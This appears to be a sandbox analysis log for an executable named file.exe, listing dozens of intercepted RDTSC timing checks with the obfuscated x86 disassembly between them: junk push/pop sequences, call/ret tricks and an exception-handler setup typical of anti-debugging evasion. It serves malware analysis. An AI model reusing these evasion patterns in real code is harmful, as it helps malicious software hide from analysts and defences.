Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BB8F2 second address: 10BB973 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB39CDCA206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c add ecx, dword ptr [ebp+122D3A41h] 0x00000012 push 00000000h 0x00000014 sbb ecx, 7444F156h 0x0000001a push 1019DF49h 0x0000001f jmp 00007FB39CDCA219h 0x00000024 xor dword ptr [esp], 1019DFC9h 0x0000002b mov ch, dh 0x0000002d push 00000003h 0x0000002f mov dword ptr [ebp+122D1C30h], ebx 0x00000035 push 00000000h 0x00000037 pushad 0x00000038 mov eax, dword ptr [ebp+122D3759h] 0x0000003e sbb ebx, 1CE211C9h 0x00000044 popad 0x00000045 push 00000003h 0x00000047 mov dword ptr [ebp+122D1806h], esi 0x0000004d call 00007FB39CDCA209h 0x00000052 jmp 00007FB39CDCA210h 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push edi 0x0000005b push edx 0x0000005c pop edx 0x0000005d pop edi 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BB973 second address: 10BB99F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jng 00007FB39CE8BFC6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jnl 00007FB39CE8BFCAh 0x00000018 push eax 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b pop eax 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 jg 00007FB39CE8BFCCh 0x00000026 jne 00007FB39CE8BFC6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BB99F second address: 10BB9A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BBA3B second address: 10BBA45 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB39CE8BFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BBB20 second address: 10BBB2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BBB2E second address: 10BBBB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jnc 00007FB39CE8BFD3h 0x00000013 mov eax, dword ptr [eax] 0x00000015 jbe 00007FB39CE8BFD2h 0x0000001b jnc 00007FB39CE8BFCCh 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push ebx 0x00000026 jmp 00007FB39CE8BFCCh 0x0000002b pop ebx 0x0000002c pop eax 0x0000002d mov edi, 6263FF08h 0x00000032 lea ebx, dword ptr [ebp+1244A6A8h] 0x00000038 jnl 00007FB39CE8BFD4h 0x0000003e xchg eax, ebx 0x0000003f jmp 00007FB39CE8BFCDh 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BBBB3 second address: 10BBBBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB39CDCA206h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BBBBE second address: 10BBBC8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB39CE8BFCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DBE38 second address: 10DBE69 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB39CDCA206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB39CDCA215h 0x00000013 jmp 00007FB39CDCA20Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DBE69 second address: 10DBE86 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jg 00007FB39CE8BFC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007FB39CE8BFCCh 0x00000012 ja 00007FB39CE8BFC6h 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DBE86 second address: 10DBE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DC6EC second address: 10DC72B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD9h 0x00000007 jmp 00007FB39CE8BFD8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007FB39CE8BFC8h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DC72B second address: 10DC730 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DC730 second address: 10DC739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DC89B second address: 10DC89F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DC89F second address: 10DC8C1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB39CE8BFD8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DC9ED second address: 10DC9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DCCBD second address: 10DCCC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109F30E second address: 109F33B instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB39CDCA21Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 jl 00007FB39CDCA206h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109F33B second address: 109F342 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD0CB second address: 10DD0F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007FB39CDCA20Fh 0x0000000b jmp 00007FB39CDCA20Dh 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jno 00007FB39CDCA206h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ACD55 second address: 10ACD5E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ACD5E second address: 10ACD64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E26BA second address: 10E26BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E26BE second address: 10E26C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E0E3F second address: 10E0E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB39CE8BFCCh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FB39CE8BFC6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E0E58 second address: 10E0E5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E0E5C second address: 10E0E7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007FB39CE8BFCEh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E2769 second address: 10E276D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E276D second address: 10E2773 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EB8BA second address: 10EB8C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push esi 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EAF94 second address: 10EAFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB39CE8BFD2h 0x00000009 popad 0x0000000a jmp 00007FB39CE8BFCDh 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007FB39CE8BFD6h 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EB5B2 second address: 10EB5D1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jnp 00007FB39CDCA206h 0x00000014 jnp 00007FB39CDCA206h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EB5D1 second address: 10EB5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EB5D5 second address: 10EB5F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA215h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EB5F2 second address: 10EB5F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EB5F8 second address: 10EB5FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EB5FC second address: 10EB608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EEA2F second address: 10EEA5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jg 00007FB39CDCA20Ah 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB39CDCA213h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EEA5C second address: 10EEA60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EEB9C second address: 10EEBA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EEE65 second address: 10EEE7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CE8BFD6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EF0E1 second address: 10EF0E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EF0E7 second address: 10EF0ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EF77A second address: 10EF77E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EF9BB second address: 10EF9C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EF9C1 second address: 10EF9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F0126 second address: 10F012C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F012C second address: 10F0130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F0130 second address: 10F017A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FB39CE8BFC8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov si, ax 0x00000026 push 00000000h 0x00000028 mov edi, dword ptr [ebp+122D3911h] 0x0000002e push 00000000h 0x00000030 mov edi, dword ptr [ebp+122D37F9h] 0x00000036 push eax 0x00000037 pushad 0x00000038 jc 00007FB39CE8BFC8h 0x0000003e push edx 0x0000003f pop edx 0x00000040 jng 00007FB39CE8BFCCh 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F0B2B second address: 10F0B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F0B2F second address: 10F0B39 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB39CE8BFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F0B39 second address: 10F0BD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FB39CDCA206h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FB39CDCA208h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b add si, 161Ch 0x00000030 mov edi, dword ptr [ebp+122D39C1h] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007FB39CDCA208h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000017h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 jmp 00007FB39CDCA20Bh 0x00000057 push 00000000h 0x00000059 pushad 0x0000005a call 00007FB39CDCA20Eh 0x0000005f mov ecx, dword ptr [ebp+122D3066h] 0x00000065 pop ebx 0x00000066 mov ebx, 06837E9Ch 0x0000006b popad 0x0000006c mov edi, ecx 0x0000006e xchg eax, ebx 0x0000006f push eax 0x00000070 push edx 0x00000071 jg 00007FB39CDCA20Ch 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F0BD5 second address: 10F0BF9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB39CE8BFD9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F275C second address: 10F2760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F31F5 second address: 10F31FF instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB39CE8BFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F2F78 second address: 10F2F7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F4515 second address: 10F4519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F3A29 second address: 10F3A2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F7755 second address: 10F7759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F7C98 second address: 10F7C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F7C9C second address: 10F7CA2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F7CA2 second address: 10F7D34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA216h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB39CDCA214h 0x0000000f nop 0x00000010 call 00007FB39CDCA20Bh 0x00000015 jnl 00007FB39CDCA21Ah 0x0000001b pop edi 0x0000001c mov ebx, esi 0x0000001e push 00000000h 0x00000020 mov ebx, dword ptr [ebp+122D3074h] 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebx 0x0000002b call 00007FB39CDCA208h 0x00000030 pop ebx 0x00000031 mov dword ptr [esp+04h], ebx 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc ebx 0x0000003e push ebx 0x0000003f ret 0x00000040 pop ebx 0x00000041 ret 0x00000042 mov edi, dword ptr [ebp+122D39A1h] 0x00000048 add dword ptr [ebp+1244C6BCh], edi 0x0000004e push eax 0x0000004f pushad 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F8DC9 second address: 10F8DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F7F6C second address: 10F7F7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CDCA20Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F8FCF second address: 10F8FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F8FDC second address: 10F8FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F9EAA second address: 10F9EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10FAC60 second address: 10FAC69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F8FE0 second address: 10F8FEA instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB39CE8BFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F9EAE second address: 10F9EC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA20Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F8FEA second address: 10F8FF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F9EC0 second address: 10F9EC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10FADAD second address: 10FADB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10FBBA3 second address: 10FBBA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10FADB2 second address: 10FADB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10FBBA9 second address: 10FBBE6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ebx, dword ptr [ebp+122D1C30h] 0x00000011 push 00000000h 0x00000013 xor ebx, dword ptr [ebp+122D306Dh] 0x00000019 push 00000000h 0x0000001b sub dword ptr [ebp+122D3590h], ecx 0x00000021 jns 00007FB39CDCA20Bh 0x00000027 sbb di, CA60h 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FB39CDCA20Eh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10FADB8 second address: 10FADBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10FADBC second address: 10FAE66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA218h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FB39CDCA208h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov edi, 6930C26Fh 0x0000002d push dword ptr fs:[00000000h] 0x00000034 call 00007FB39CDCA20Ch 0x00000039 jg 00007FB39CDCA20Ch 0x0000003f pop ebx 0x00000040 mov dword ptr fs:[00000000h], esp 0x00000047 mov dword ptr [ebp+12444655h], eax 0x0000004d mov eax, dword ptr [ebp+122D16DDh] 0x00000053 ja 00007FB39CDCA20Eh 0x00000059 push FFFFFFFFh 0x0000005b mov dword ptr [ebp+122D1FA3h], esi 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007FB39CDCA219h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10FAE66 second address: 10FAE6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10FBD68 second address: 10FBD6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10FE03F second address: 10FE05E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jnp 00007FB39CE8BFC6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB39CE8BFCEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1100C86 second address: 1100CAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c jg 00007FB39CDCA206h 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007FB39CDCA206h 0x0000001b rdtsc
